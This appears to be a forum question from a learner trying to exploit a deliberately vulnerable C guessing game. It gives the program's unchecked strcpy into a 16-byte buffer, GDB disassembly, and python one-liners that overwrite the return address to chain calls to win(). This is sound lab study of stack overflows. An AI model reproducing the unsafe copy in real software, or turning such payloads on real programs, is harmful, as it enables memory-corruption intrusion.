I'm currently trying to (re)learn more about basics of vulnerabilities and more low level stuff again, but I have been beating my head against this for the last 2 days and really need some hlp. I learned assembler and stacks etc. around 14 years ago, and in my ignorance i thought i still knew how they worked. I have a small C program that represents a number guessing game. To win, you have to guess 3 random numbers correctly 5 times in a row. Pretty much impossible. The program has a string parameter when it is called, which is later copied in the "calculate" function using strcpy to enable a buffer overflow attack. Here is the code:
int counter = 0;
char username[16];
void win() {
printf("You win this round %s\n", username);
counter++;
}
void loose() {
printf("You lose, better luck next time %s!\n\n", username);
counter = 0;
}
int calculate(char *text, int input1, int input2, int input3, int number1, int number2, int number3) {
char name[16];
strcpy(name, text);
if (number1 == input1 && number2 == input2 && number3 == input3)
return 0;
else
return 1;
}
int main(int argc, char ** argv) {
int number1, number2, number3;
int input1 = 0, input2 = 0, input3 = 0;
if (argc < 2) {
printf("Please pass at least one argument with your program.\nOtherwise you won't be able to exploit it ;)\n");
exit(0);
}
printf("Please enter your name!\n");
fgets(username, sizeof(username), stdin);
username[strcspn(username, "\n")] = '\0';
while(counter < 5){
printf("Can you beat this minigame?\n\nEnter three numbers between 0-10 if you guess all correct you win, otherwise you lose!\n");
printf("Enter your first guess!\n");
scanf("%d", &input1);
printf("Enter your second guess!\n");
scanf("%d", &input2);
printf("Enter your third guess!\n");
scanf("%d", &input3);
srand(time(NULL));
number1 = rand() % 10;
number2 = rand() % 10;
number3 = rand() % 10;
if(calculate(argv[1], input1, input2, input3, number1, number2, number3) == 0)
win();
else
loose();
}
printf("Against all odds you beat the game!\nCongratulations %s", username);
exit(0);
return 0;
}
As far as i thought, there are several routes for how to construct the buffer overflow string to achieve the goal of winning this game automatically regardless of guessed numbers. For example:
One could overwrite the entire stack frame for "calculate" to change the parameter values, including the guessed and generated random numbers with fixed numbers. Then repeat to write 5 chained call stack frames with those fixed numbers. This one seems overkill to me.
My other idea was to overwrite the return address of the
calculatefunction stack frame so it jumps into thewinfunction after completion (which increments thecountervariable), and then write 4-5 additionalwinfunction calls after that with return addresses and at the end jumping back intomainat the end of the loop, so the program can check and then complete without crashing.
I tried going for second version, but no matter what I seem to get it wrong and cause segmentation faults. Using GDB seems to cause more confusion than help for me, as the addresses never seem to match up to what id expect.
Here is how i imagine the stack frame for calculate looks like:
Since stack memory "grows down", new stack frames for function calls from within another function would be written to lower memory addresses. However, when we "return" from a function we move to higher memory addresses in the stack for the previous stack frames after the current stack frame is popped off. I call the compiled program using GDB and use pythong to construct a byte string for hex address numbers etc. So in the beginning i thought I will overwrite the return address of calculate to point to the win function and write that 5 times in a row (forgetting about EBPs etc.) and return main.
For this, we need to at least know the address of win and the instruction address in main we want to jump back into. Using GDB to get the assembly for main, here is the last part including the "if/else" block in the loop:
...
0x0804886a <+478>: call 0x804864e <calculate>
0x0804886f <+483>: add $0x20,%esp
0x08048872 <+486>: test %eax,%eax
0x08048874 <+488>: jne 0x804887d <main+497>
0x08048876 <+490>: call 0x80485fb <win>
0x0804887b <+495>: jmp 0x8048882 <main+502> <--- This is the line i want to jmp back into after having executed by 5 consecutive "win" calls
0x0804887d <+497>: call 0x8048626 <loose>
0x08048882 <+502>: mov 0x804a048,%eax
0x08048887 <+507>: cmp $0x4,%eax
0x0804888a <+510>: jle 0x804871e <main+146>
0x08048890 <+516>: sub $0x8,%esp
0x08048893 <+519>: push $0x804a04c
0x08048898 <+524>: push $0x8048aac
0x0804889d <+529>: call 0x8048440 <printf@plt>
0x080488a2 <+534>: add $0x10,%esp
0x080488a5 <+537>: sub $0xc,%esp
0x080488a8 <+540>: push $0x0
0x080488aa <+542>: call 0x80484a0 <exit@plt>
The address of win function according to GDB is:
$1 = {void ()} 0x80485fb <win>
So my initial attempt (ignoring EBP values on the stack for the consecutive win calls) looked like this:
r $(python -c "import sys; sys.stdout.buffer.write(b'A'*16 + b'\xa8\xf3\xff\xbf' + b'\xfb\x85\x04\x08'*5 + b'\x7b\x88\x04\x08')")
To explain each part:
- b'A'*16 <-- Write 16 byte to overwrite the
namearray - b'\xa8\xf3\xff\xbf' <-- Overwrite
calculateframes caller EBP with the one currently used in little endian - b'\xfb\x85\x04\x08'*5 <-- Overwrite the return address of the current frame with the
winfunction address 5 times in a row - b'\x7b\x88\x04\x08' <-- Add the last return address as the target instruction address in
main.
To my surprise, this actually worked for 3 consecutive calls (instead of 5) before returning back to main and prompting me again:
The reason im surprised is, all we did with the consecutive return address writes, was writing into the "parameter" section of the current stack frame. So i thought since we need to reach the previous stack frame, we need to overwrite the parameter section of the calculate stack frame.
Also, a minimal stack frame has a return address and an EBP to my understanding, so i added byte paddings for EBPs for the consecutive win function return calls:
r $(python -c "import sys; sys.stdout.buffer.write(b'A'*16 + b'A'*4 + b'\xbf\x58\x40\x80' + b'A'*28 + (b'A'*4 + b'\xbf\x58\x40\x80')*5 + b'A'*4 + b'\xb7\x88\x40\x80')")
This however results in immediate segmentation faults:
I tried several variations, all without success. What am i fundamentally getting wrong? What do i need to do to successfully construct this buffer overflow. I was told that i can ignore EBP values (not padding) when writing the overflow, but im not so sure that is true. I really need some help with this, because i feel like im too dumb momentarily.
I can provide more GDB dumps or information, but the post is already quite long.


